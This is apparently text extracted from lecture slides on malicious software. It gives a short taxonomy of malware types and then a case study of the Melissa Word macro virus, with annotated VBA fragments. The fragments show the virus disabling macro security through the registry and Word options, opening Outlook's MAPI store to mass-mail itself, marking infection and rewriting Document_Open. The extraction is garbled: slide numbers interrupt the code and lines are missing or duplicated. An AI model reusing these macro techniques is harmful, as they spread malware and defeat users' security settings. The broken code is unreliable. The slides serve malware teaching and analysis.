Professional Documents
Culture Documents
Original
Program
Modified
Program
Original
Program
Modified
Program
Needs host
Independent
program
Logic Trojan
Trapdoors Viruses Bacteria Worm
bombs horses
programs, if possible.
******************************************************
Private Sub Document-Open() ' An OPEN event runs when the document is opened.
On Error Resume Next ' Forge ahead and do not display an error message block.
******************************************************
Melissa now disables the macro security features of Microsoft word.
This allows it to avoid alerting the user.
*************************************************************
If System.PrivateProfileString("",
"HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then 'If the value is blank disable the macro security and
'set the security level to 1
CommandBars("Macro") .Controls( "Security. ..") .Enabled = False
System.PrivateProfileString("",
"HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1
Else 'An empty string indicates Word 97
CommandBars("Tools") .Controls("Macro") .Enabled = False 'Disable the macro menu
Options.ConfirmConversions = (1 - 1) : 'Turn off file conversion confirmation
Options.VirusProtection = (1 - 1) : 'Turn off Macro virus protection
Options. SaveNormalPrompt = (1 - 1) 'Turn off prompt to save the Normal template
Ali Saleh Chap10 31
End If
Melissa now accesses the E-Mail system through the Messaging API (MAPI)
feature.
It uses this access to send E-Mail to the first fifty entries.
*********************************************
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
'Variable Declaration
Set UngaDasOutlook = CreateObject("Outlook.Application")
'Create and instance of Outlook and reference it with the variable
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
'Assign the MAPI message store containing all Outlook items to the variable
********************************************
Melissa checks the Registry Key to see if it has already run.
**************************************************
*************************************
System.PrivateProfileString("",
"HKEY-CURRENT-USER\Software\Microsoft\Office\", "Melissa?") =
" ..by Kwyjibo"
'Sets the Melissa? Registry entry to the author.
'This prevents sending another message after reinfection.
************************************
End If
If dont <> True And DoAD <> True Then GoTo CYA
********************************************
Ali Saleh Chap10 37
Melissa
now modifies the Document-Open() function of the Active
Document.
***************************************************
If dont = True
Then 'Delete each blank line of code at the beginning of the Active Document code module
Then 'If the Active document does not start with Document then save it
ActiveDocument.SaveAsFileName:=ActiveDocument.FullName
ElseIf (InStr(l, ActiveDocument.Name, "Document") <> False)
Then ActiveDocument.Saved = True
'If the Active Document begins with Document set its Saved property to True
End If
**********************************************
Ali Saleh Chap10 40
The author now comments his code to reflect that he wrote Melissa and
Displays a character string based upon the if statement.
*********************************************
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 virus? Word 2000 Virus? You Decide!
'Word -> Ernail | Word 97 <-> Word 2000 ...it's a new age!
If Day (Now) = Minute (Now) ' if the 1st day and the 1st minute
Then Selection.TypeText " Twenty-two points, plus triple-word-
score, plus fifty points for using all my letters. Game's over. I'm
outta here."
End Sub
Ali Saleh Chap10 41
*************************************************************
End of Case